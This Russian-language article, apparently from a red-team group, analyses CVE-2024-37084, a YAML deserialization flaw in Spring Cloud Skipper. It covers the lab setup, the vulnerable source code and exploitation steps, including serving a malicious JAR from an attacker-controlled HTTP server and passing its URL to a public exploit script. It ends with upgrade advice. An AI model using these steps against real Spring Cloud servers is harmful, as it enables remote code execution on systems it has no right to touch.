Vulnerability
December 9

CVE-2024-37084: удаленное выполнение кода в Spring Cloud

Введение

Spring Cloud Skipper — это инструмент, который позволяет находить приложения Spring Boot и управлять их жизненным циклом на нескольких облачных платформах.

Вы можете использовать Skipper отдельно или интегрировать его с конвейерами непрерывной интеграции для обеспечения непрерывного развёртывания приложений.

Skipper возник из-за необходимости выполнять «потоковые изменения» в Spring Cloud Data Flow. Позже было признано, что для обеспечения этой функции следует создать проект более общего назначения Skipper, чтобы он также мог быть полезным набором инструментов вне контекста Spring Cloud Data Flow.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Описание уязвимости

CVE-2024-37084 — это уязвимость в Spring Cloud Skipper, которая позволяет получить доступ к исходным данным YAML.

Чтобы преобразовать объект в формат Yaml (стандартный Yaml-конструктор), выполните обратную последовательность (десериализацию) для этого объекта.

Десериализация (deserialization) - это процесс создания структуры данных из битовой последовательности путем перевода этой последовательности в объекты и их упорядочивания (структуризации).
RCE (Remote Code Execution) - это тип уязвимости в веб-приложениях, позволяющий злоумышленникам выполнять произвольный код на удаленном сервере. Это одна из самых опасных уязвимостей, так как она дает полный контроль над системой.

Подготовка стенда

Скачиваем версию 2.11.0 Spring Cloud Data Flow.

https://github.com/spring-cloud/spring-cloud-dataflow/releases

В spring-cloud-dataflow-2.11.0/src/docker-compose/docker-compose.yml

Добавляем следующие строчки для отладки:

В раздел environment:

JAVA_TOOL_OPTIONS=agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address =*:5005

в раздел ports:

- "5005:5005"

Собираем докер:

sudo docker compose up --build

После установки можно просмотреть панель управления и API Skipper Server:

Разбор уязвимости

Анализ исходного кода

Находим функцию загрузки по пути:

spring-cloud-dataflow-2.11.0/spring-cloud-skipper/spring-cloud-skipper-server-core/src/main/java/org/springframework/cloud/skipper/server/service/PackageService.java

Функция:

Описание функции upload():

  • Подвердить запрос на загрузку
Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());

Эта функция проверяет данные запроса на загрузку, чтобы убедиться, что они действительны, прежде чем продолжить.

  • Получение репозитория для загрузки
Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());

Указание репозитория, в который будет загружен пакет, на основе имени репозитория, указанного в запросе.

  • Создание временного каталога и создание файла пакета
packageDirPath = TempFileUtils.createTempDirectory("skipperUpload");
File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
packageDir.mkdir();
Path packageFile = Paths.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion() + "." + uploadRequest.getExtension());
Files.write(packageFile, uploadRequest.getPackageFileAsBytes());

Создание временной директории в системе для размещения загружаемого пакета. Затем из данных пакета создаются временные файлы и сохраняются в этой директории.

  • Распаковка файла для загрузки
ZipUtil.unpack(packageFile.toFile(), packageDir);

После загрузки файл будет распакован, чтобы иметь возможность считывать и обрабатывать содержащиеся в нем данные.

  • Проверка, что пакет был распакован
String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion();
File unpackagedFile = new File(unzippedPath);
Assert.isTrue(unpackagedFile.exists(), "Package is expected to be unpacked, but it doesn't exist");

Подтверждает, что процесс распаковки прошел успешно и распакованный файл существует.

  • Чтение и проверка метаданных пакета
Package packageToUpload = this.packageReader.read(unpackagedFile);
PackageMetadata packageMetadata = packageToUpload.getMetadata();
if (!packageMetadata.getName().equals(uploadRequest.getName()) || !packageMetadata.getVersion().equals(uploadRequest.getVersion())) {
	throw new SkipperException(String.format("Package definition in the request [%s:%s] differs from one inside the package.yml [%s:%s]",
			uploadRequest.getName(), uploadRequest.getVersion(), packageMetadata.getName(), packageMetadata.getVersion()));
}

Проверка, что прочитанные метаданные из пакета были разархивированы, и проведено сравнение с запросом на загрузку данных.

  • Сохранение метаданных и связывание их с репозиторием
if (localRepositoryToUpload != null) {
	packageMetadata.setRepositoryId(localRepositoryToUpload.getId());
	packageMetadata.setRepositoryName(localRepositoryToUpload.getName());
}
packageMetadata.setPackageFile(new PackageFile((uploadRequest.getPackageFileAsBytes())));
return this.packageMetadataRepository.save(packageMetadata);

Связывает метаданные пакета с репозиторием (если таковые имеются), а затем сохраняет метаданные пакета в базе данных.

  • Обработка исключения и удаление временного каталога
finally {
	if (packageDirPath != null && !FileSystemUtils.deleteRecursively(packageDirPath.toFile())) {
		logger.warn("Temporary directory can not be deleted: " + packageDirPath);
	}
}

Ранее созданные временные директории будут удалены после завершения процесса.

Если удалить не удается, записываются предупреждения в журнал.

Описание метода read() в файле DefaultPackageReader.java

  • Проверка и просмотр файлов в директории
Assert.notNull(packageDirectory, "File to load package from can not be null");
try (Stream<Path> paths = Files.walk(Paths.get(packageDirectory.getPath()), 1)) {
    files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
}
catch (IOException e) {
    throw new SkipperException("Could not process files in path " + packageDirectory.getPath() + ". " + e.getMessage(), e);
}
    • Проверяет правильность передачи по директориям. Затем использует Files.walk(), чтобы просмотреть файлы в директории, получает список файлов и сохраняет в files.
    • Проверяет, что директория не пуста, и обработывает исключение в случае, если не удается прочитать
  • Обработка каждого файла
for (File file : files) {
    if (file.getName().equalsIgnoreCase("package.yaml") || file.getName().equalsIgnoreCase("package.yml")) {
        pkg.setMetadata(loadPackageMetadata(file)); // note 
        continue;
    }
    if (file.getName().endsWith("manifest.yaml") || file.getName().endsWith("manifest.yml")) {
        fileHolders.add(loadManifestFile(file));
        continue;
    }
    if (file.getName().equalsIgnoreCase("values.yaml") || file.getName().equalsIgnoreCase("values.yml")) {
        pkg.setConfigValues(loadConfigValues(file));
        continue;
    }
    if (file.getAbsoluteFile().isDirectory() && file.getName().equals("templates")) {
        pkg.setTemplates(loadTemplates(file));
        continue;
    }
    if ((file.getName().equalsIgnoreCase("packages") && file.isDirectory())) {
        File[] dependentPackageDirectories = file.listFiles();
        List<Package> dependencies = new ArrayList<>();
        for (File dependentPackageDirectory : dependentPackageDirectories) {
            dependencies.add(read(dependentPackageDirectory));
        }
        pkg.setDependencies(dependencies);
    }
}

Этот цикл просматривает файлы, сортируя их в соответствии с каждым типом, который должен обрабатываться.

  • Загрузка пакета метаданных
private PackageMetadata loadPackageMetadata(File file) {
    DumperOptions options = new DumperOptions();
    Representer representer = new Representer(options);
    representer.getPropertyUtils().setSkipMissingProperties(true);
    LoaderOptions loaderOptions = new LoaderOptions();
    Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
    String fileContents = null;
    try {
        fileContents = FileUtils.readFileToString(file);
    }
    catch (IOException e) {
        throw new SkipperException("Error reading yaml file", e);
    }
    PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
    return pkgMetadata;
}

Эта функция использует библиотеку SnakeYaml для чтения файла YAML и преобразует его в objectPackageMetadata.

Она использует конструктор для отображения свойств файла YAML в object Java.

  • Загрузка шаблона файла
private List<Template> loadTemplates(File templatePath) {
    try (Stream<Path> paths = Files.walk(Paths.get(templatePath.getAbsolutePath()), 1)) {
        files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
    }
    catch (IOException e) {
        throw new SkipperException("Could not process files in template path " + templatePath, e);
    }

    List<Template> templates = new ArrayList<>();
    for (File file : files) {
        if (isYamlFile(file)) {
            Template template = new Template();
            template.setName(file.getName());
            try {
                template.setData(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
            }
            catch (IOException e) {
                throw new SkipperException("Could read template file " + file.getAbsoluteFile(), e);
            }
            templates.add(template);
        }
    }
    return templates;
}

Эта функция переходит в папку "шаблоны", считывает каждый файл YAML и преобразует в object Template.

Она загружает содержимое файла и сохраняет в шаблоне для последующего использования.

  • Загрузка значений конфигурации
private ConfigValues loadConfigValues(File file) {
    ConfigValues configValues = new ConfigValues();
    try {
        configValues.setRaw(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
    }
    catch (IOException e) {
        throw new SkipperException("Could read values file " + file.getAbsoluteFile(), e);
    }
    return configValues;
}

Считывает значения файла.yaml или values.yml и сохраняет его содержимое в объекте ConfigValues.

  • Загрузка packageMetadata
private PackageMetadata loadPackageMetadata(File file) {
		// The Representer will not try to set the value in the YAML on the
		// Java object if it isn't present on the object
		DumperOptions options = new DumperOptions();
		Representer representer = new Representer(options);
		representer.getPropertyUtils().setSkipMissingProperties(true);
		LoaderOptions loaderOptions = new LoaderOptions();
		Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
		String fileContents = null;
		try {
			fileContents = FileUtils.readFileToString(file);
		}
		catch (IOException e) {
			throw new SkipperException("Error reading yaml file", e);
		}
		PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
		return pkgMetadata;
	}
	PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);

Содержимое строки YAML (FileContents) преобразуется в объект PackageMetadata с помощью yaml.load(FileContents) из библиотеки SnakeYaml.

Десериализация: Когда SnakeYaml встречает тег !!javax.script.ScriptEngineManager создает объект класса Java.

Это может привести к выполнению кода Java.

Реализация уязвимости

Готовое решение для генерации полезной нагрузки можно скачать из github репозитория:

https://github.com/Ly4j/CVE-2024-37084-Exp

Меняем содержимое функции Runtime.getRunrime().exec() в файле src/rtsploit/AwesomeScriptEngineFactory.java.

Поднимаем слушателя на указанный в нагрузке порт:

Запускаем generate-yaml-payload.jar.py, чтобы создать файл yaml-payload.jar командой:

python generate-yaml-payload.jar.py

Поднимаем веб-сервис с помощью Python командой:

python3 -m http.server 8080
Каждый раз, когда вы выполняете другую команду, вам нужно переименовывать файл yaml-payload.jar, то есть файл xx.jar, к которому вы обращаетесь, каждый раз под другим именем.

В противном случае новая команда не будет действовать.

Эксплуатируем:

cve-2024-37084-exp.py -u http://localhost:7577 -payload http://ip-address:port/yaml-payload.jar

Заключение

В версиях Spring Cloud Data Flow до 2.11.4 злоумышленник, имеющий доступ к API-интерфейсу сервера Skipper, может использовать специально созданный запрос на загрузку для записи произвольного файла в любое место в файловой системе, что может привести к выполнению произвольного кода на стороне сервера.

Чтобы исправить уязвимость CVE-2024-37084 в Spring Cloud Data Flow, рекомендуется обновить версию до 2.11.4 или выше.